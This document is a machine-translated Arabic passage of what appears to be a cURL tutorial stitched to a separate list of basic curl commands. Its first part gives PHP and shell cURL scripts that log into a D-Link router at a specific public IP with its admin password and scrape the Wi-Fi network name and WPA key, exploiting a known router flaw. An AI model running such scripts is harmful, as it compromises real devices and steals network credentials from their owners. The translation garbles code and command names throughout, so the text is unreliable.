يمكن الحصول على العنوان الذي تريد إرسال البيانات إليه من نموذج المصادقة. على سبيل المثال:

نحن ننظر إلى الممتلكات فعل. أولئك. الصفحة الأخيرة هي تسجيل الدخول.php. نحن نحتاج العنوان الكامل، على سبيل المثال مثل هذا

مخفية عن الضيوف

وهنا نجد أيضًا طريقة الإرسال: طريقة = "آخر"

أعرف أيضًا تسجيل الدخول وكلمة المرور: admin وqwerasdfzxcv
أولئك. يتم إرسال سلسلة إلى الخادم من النموذج باستخدام طريقة POST. من الناحية النظرية، يجب أن يعمل النص السابق الذي أضفنا إليه سطرًا جديدًا. أولئك. يجب أن تحدث المصادقة.

0) ( echo "خطأ في الضفيرة: " . curl_error($ch); ) else ( ) curl_ Close($ch); ?>

سطر جديد في البرنامج النصي

curl_setopt($ch, CURLOPT_POSTFIELDS, "LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv");

هنا curl_setopt- وظيفة مألوفة لدينا بالفعل لتحديد خيارات cURL، CURLOPT_POSTFIELDS- هذا هو اسم الخيار الذي نقوم بتعيينه. CURLOPT_POSTFIELDSيحتوي على جميع البيانات التي يتم نقلها باستخدام طريقة POST. حسنا، الخط نفسه LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv- هذه هي نفس البيانات التي نرسلها.

إذا قمت بفحص النموذج بعناية، ستلاحظ أنه يحتوي أيضًا على حقول مخفية. ويمكن معالجة البيانات أو استكمالها باستخدام جافا سكريبت. يمكنك دراسة كل هذا، لكنني أفضل طريقة أبسط.

أنا أستخدم Wireshark. تم تصميم هذا البرنامج لشم (اعتراض) حركة المرور. وفيه أنه من المريح جدًا معرفة ما يتم نقله بالضبط إلى الموقع.

شاهد هذا الفيديو الصغير:


أولئك. مع العنوان حيث يتم نقل البيانات، خمنت الحق. لكن تبين أن السلسلة المرسلة أكثر تعقيدًا.

لقد أدخلت المعلمة الصحيحة، وقمت أيضًا بتعديل البرنامج النصي قليلاً بحيث لا يقوم بتسجيل الدخول فحسب، بل يتلقى أيضًا شيئًا ما من جهاز التوجيه:

0) ( echo "خطأ في الضفيرة: " . curl_error($ch); ) else ( $target_url2 = "http://188.35.8.64:8080/bsc_wlan.php"; $ch2 = curl_init($target_url2); curl_setopt($ ch2, CURLOPT_RETURNTRANSFER, 1); $response_data2 = curl_exec($ch2); preg_match("|f.ssid.value = "(.*)";|"، $response_data2, $results2 = "" ، ""، $results2)؛ $results2 = str_replace("";"، ""، $results2); echo "اسم شبكة Wi-fi: نتائج $2
"; preg_match("|f_wpa.wpapsk1.value(.*)";|"، $response_data2, $results3); $results3 = str_replace("f_wpa.wpapsk1.value"، ""، $results3)؛ $results3 = str_replace(""، ""، $results3)؛ $results3 = str_replace(""، ""، $results3)؛ صدى "كلمة مرور شبكة Wi-Fi: نتائج $3"; ) curl_Close($ch); ?>

بالمناسبة، إذا قام المالك بتحديث كلمة المرور (ولكن لا يقوم بتحديث البرنامج الثابت)، فيمكن دائمًا عرض كلمة المرور الجديدة على

مخفية عن الضيوف

(هذه ثغرة أمنية معروفة في أجهزة التوجيه D-Link DIR-300 وD-Link DIR-320 وD-Link DAP-1353).

مصادقة HTTP cURL على سطر الأوامر

نحن نعرف بالفعل العنوان الكامل، بالإضافة إلى السلسلة التي سيتم إرسالها. لذلك الأمر بسيط:

تجعيد --بيانات "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE =" http://188.35.8.64:8080/login.php

أعتقد أن كل شيء واضح، لأننا نظرنا بالفعل في هذه المواعيد النهائية. إذا كان أي شخص لا يفهم، اسأل في التعليقات.

من الأمثلة على استخدام cURL لاسترداد البيانات وتحليلها مجموعة الأوامر التالية:

Curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE =" http://188.35.8.64:8080/login.php > /dev/null && echo -e "nn " && echo "اسم شبكة Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f.ssid.value = "(.)*";" | sed "s/f.ssid.value = "//" | sed "s/";//" && echo "كلمة مرور شبكة Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f_wpa.wpapsk1.(.)*";" | sed "s/f_wpa.wpapsk1.value//" | sed "s/";//" | السيد "s/="//"

سيكون من الأصح كتابة هذا العنوان على النحو التالي: حالات الترخيص "المعقدة". أولئك. ضع كلمة "معقد" بين علامتي تنصيص. تبدو معقدة للوهلة الأولى فقط، عندما لا يكون من الواضح: مكان حدوث الإرسال، وما هي أسماء الحقول، وما الذي يتم إرساله بالضبط، وما إلى ذلك.

لكن في الواقع، جميعها ترجع إلى طرق POST أو GET. لفهم ما يتم إرساله بالضبط، يمكنك حفظ الصفحة بالنموذج على القرص الخاص بك وإضافة وظيفة لعرض البيانات التي تم إنشاؤها للإرسال إلى زر الإرسال. أو حتى أبسط - مثلي، Wireshark.

إذا كانت البيانات صحيحة، ولكن لم تتم المصادقة، فأنت بحاجة إلى البحث في الاتجاهات التالية:

  • قم بتعيين سلسلة المرجع الصحيحة
  • قم بتعيين سلسلة وكيل المستخدم "الصحيحة".
كل هذا يمكن القيام به باستخدام طرق cURL الأساسية، لكنني لن أخوض في ذلك. لقد كان الدرس طويلًا بما فيه الكفاية، لكنني أردت أيضًا أن أعرض بعض الحيل باستخدام cURL.

النصائح والحيل الضفيرة

cURL واستقبال ملفات تعريف الارتباط بالإضافة إلى CURLOPT_COOKIEJAR

أعتقد أنه من الواضح بالفعل أن cURL يتعامل مع ملفات تعريف الارتباط بشكل صحيح - حيث يخزنها ويستخدمها عندما يطلبها الخادم وما إلى ذلك. ولكن في بعض الأحيان يلزم حفظ ملفات تعريف الارتباط. هناك خيار لهذا يسمى CURLOPT_COOKIEJAR، ولكن ليس من الممكن استخدامه دائمًا. هذا هو ما خصصت له خدعتنا الأولى.

في بعض الأحيان، نظرًا للطريقة التي يتم بها تكوين PHP على الخادم، لا تتوفر لنا خيارات مثل CURLOPT_COOKIEJAR (يسمح لك بحفظ ملفات تعريف الارتباط المستلمة في ملف) وCURLOPT_COOKIEFILE (يسمح لك باستخدام ملفات تعريف الارتباط من ملف). لأن يقولون أنه باستخدام هذه الخيارات يمكننا سرقة أي ملف من الخادم الخاص بهم. هنا هو الحل لهذه المشكلة:

1) نحن لا نستخدم CURLOPT_FOLLOWLOCATION
2) استخدم curl_setopt($ch, CURLOPT_HEADER, 1)
3) اجمع ملفات تعريف الارتباط من الرأس مثل هذا:

Preg_match_all("|Set-Cookie: (.*);|U", $content, $results); ملفات تعريف الارتباط $ = تنفجر(";"، $results);

4) قم بتعيينها باستخدام curl_setopt($ch, CURLOPT_COOKIE, $cookies);

النصيحة الثانية. يمكننا أن نتحول من مهاجمين إلى ضحايا. ولتجنب الوقوع ضحية لهجوم رجل في الوسط، فإننا نفعل ذلك.

من فضلكم، توقفوا جميعًا عن تعيين إعداد CURLOPT_SSL_VERIFYPEER على false أو 0. إذا لم يكن تثبيت PHP الخاص بك يحتوي على مجموعة محدثة من شهادات CA الجذرية، فقم بتنزيل واحدة من موقع ويب curl واحفظها على الخادم الخاص بك:

مخفية عن الضيوف

ثم قم بتعيين المسار في ملف php.ini الخاص بك، على سبيل المثال في نظام التشغيل Windows:

Curl.cainfo=c:phpcaert.pem

يؤدي تعطيل CURLOPT_SSL_VERIFYPEER إلى السماح بهجوم رجل في الوسط (MITM)، وهو ما لا نريده!

حسنًا، النصيحة الأخيرة لهذا اليوم. هل تعلم أن عددًا كبيرًا من طلبات التجعيد غير المتزامنة ممكنة؟

لهذا يمكنك استخدام curl_multi_init. التفاصيل ورمز المثال في الوثائق الرسمية

مخفية عن الضيوف

مخفية عن الضيوف


حول الضفيرة في سطر الأوامر

مخفية عن الضيوف


تم أيضًا إعداد الجزء الثاني من درس cURL للقراءة باللغة الروسية: "".
cURL هي أداة سطر أوامر لتلقي البيانات أو إرسالها باستخدام بناء جملة URL.

إذا كنت تعمل في مكتب المساعدة، فمن المفترض أن تكون قادرًا على استخدام أوامر cURL لاستكشاف أخطاء تطبيقات الويب وإصلاحها. cURL عبارة عن أداة مساعدة متعددة الأنظمة الأساسية لأنظمة التشغيل Windows وMAC وUNIX.
فيما يلي بعض أمثلة بناء الجملة شائعة الاستخدام.

1. تحقق مما إذا كان من الممكن توصيل عنوان URL

إذا كنت تستخدم نظام UNIX وتحاول الاتصال بعنوان URL خارجي، فتأكد أولاً من إمكانية الوصول إلى المورد عبر curl . للقيام بذلك، استخدم الأمر التالي:

# حليقة yoururl.com

2. حفظ مخرجات URL/URI في ملف

# حليقة yoururl.com > yoururl.html

على سبيل المثال:

# حليقة 74.125.68.100 >>tmp/google.html

سيحفظ المثال أعلاه كل المحتوى من المضيف 74.125.68.100 إلى الملف /tmp/google.html.

3. إظهار رأس الطلب والاستجابة

إذا كنت تريد التأكد من تلقي الطلب المتوقع ورأس الاستجابة، فاستخدم الأمر التالي:

# حليقة -v yoururl.com

على سبيل المثال:

# cur -v 74.125.68.100 * على وشك الاتصال () بالمنفذ 80 (#0) 74.125.68.100 * محاولة 74.125.68.100... * متصل بالمنفذ 74.125.68.100 (74.125.68.100) 80 (#0) > GET / HTTP/1.1 > وكيل المستخدم: curl/7.29.0 > المضيف: 74.125.68.100 > قبول: */* >< HTTP/1.1 200 OK

4. قم بالتنزيل بأقصى سرعة

إذا كنت تريد معرفة المدة التي يستغرقها التنزيل بسرعة معينة، فاستخدم الأمر التالي:

# حليقة - معدل الحد 2000B

على سبيل المثال:

# حليقة - معدل الحد 2000B 74.125.68.100

5. استخدام وكيل للاتصال

إذا كنت بحاجة إلى التحقق مما إذا كان يمكن استخدام خادم وكيل، استخدم بناء الجملة التالي:

# حليقة --proxyyourproxy:port http://yoururl.com

6. التحقق من عنوان URL عن طريق إدخال عنوان

لإصلاح مشكلة معينة، يمكنك استخدام Curl لإدراج بياناتك في الرأس. خذ بعين الاعتبار طلب المثال التالي مع Content-Type:

# الضفيرة --header "نوع المحتوى: application/json" http://yoururl.com

نحن نطلب من الضفيرة تمرير نوع المحتوى كتطبيق/json في رأس الطلب.

7. أضف رأسًا إضافيًا

يمكنك إضافة رأس إلى طلب باستخدام بناء جملة -header.

# الضفيرة --header "X-CustomHeader: GeekFlare" http://yoururl.com

على سبيل المثال:

# curl -v --header "X-CustomHeader: GeekFlare" 74.125.68 * على وشك الاتصال () بمنفذ 74.125.68.100 80 (#0) * محاولة 74.125.68.100... * متصل بـ 74.125.68.100 (74.125. 68.100) المنفذ 80 (#0) > GET / HTTP/1.1 > وكيل المستخدم: curl/7.29.0 > المضيف: 74.125.68.100 > قبول: */* > X-CustomHeader: GeekFlare >< HTTP/1.1 200 OK

8. افتح رأس الاستجابة فقط

إذا كنت تريد التحقق بسرعة من رأس الاستجابة، فيمكنك استخدام بناء الجملة التالي للقيام بذلك.

# الضفيرة --الرأس http://yoururl.com

# curl -I 74.125.68.100 HTTP/1.1 200 OK التاريخ: الأحد، 18 يناير 2015 08:31:22 بتوقيت جرينتش انتهاء الصلاحية: -1 التحكم في ذاكرة التخزين المؤقت: خاص، الحد الأقصى للعمر = 0 نوع المحتوى: نص/html؛ charset=ISO-8859-1 Set-Cookie: NID=67=SpnXKTDUhw7QGakIeLxmDSF; تنتهي الصلاحية=الاثنين، 20 يوليو 2015، الساعة 08:31:22 بتوقيت جرينتش؛ المسار=/; المجال=.; HttpOnly P3P: CP="هذه ليست سياسة P3P! راجع http://www.google.com/support/accounts/bin/answer.py?hl=ar&answer=151657 لمزيد من المعلومات." الخادم: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN البروتوكول البديل: 80:quic,p=0.02 ترميز النقل: نطاقات القبول المقسمة: لا يوجد Vary: Accept-Encoding #

9. قم بتوصيل عنوان HTTPS/SSLURL وتجاهل أي أخطاء في شهادة SSL

إذا كنت بحاجة إلى الوصول إلى عنوان URL https الذي يعرض خطأ في الشهادة بسبب عدم تطابق اسم المضيف، فيمكنك استخدام بناء الجملة التالي.

حليقة - غير آمنة https://yoururl.com

10. الاتصال باستخدام بروتوكول محدد (SSL/TLS)

للاتصال بعنوان URL باستخدام SSL V2/V3 أو TLS فقط، استخدم بناء الجملة التالي.

للاتصال باستخدام SSLV2:

# الضفيرة --sslv2 https://yoururl.com

للاتصال باستخدام SSLV3:

# الضفيرة --sslv3 https://yoururl.com

للاتصال عبر TLS:

# الضفيرة --tlsv1 https://yoururl.com

11. تحميل الملف من خادم FTP

باستخدام cURL، يمكنك تنزيل ملف من خادم ftp عن طريق توفير اسم مستخدم وكلمة مرور.

# الضفيرة -u المستخدم: كلمة المرور -O ftp://ftpurl/style.css

يمكنك دائمًا استخدام "-v" مع أي بناء جملة للإخراج في الوضع المطول.

باستخدام cURL عبر الإنترنت

نعم هذا ممكن. يمكنك تنفيذ cURL عن بعد باستخدام الأدوات التالية.
Online CURL هي أداة مدمجة لاستخراج عنوان URL عبر الإنترنت وإضافة المعلمات التالية.

مهلة الاتصال - ملف تعريف الارتباط - البيانات - الرأس - الرأس - الموقع - الحد الأقصى للوقت - الوكيل - الطلب - المستخدم - عنوان URL - وكيل المستخدم

مثال الإخراج:


cURL منشئ سطر الأوامر - يسمح لك بإنشاء أمر cURL الذي يمكنك استخدامه لإدخال المعلومات في واجهة المستخدم.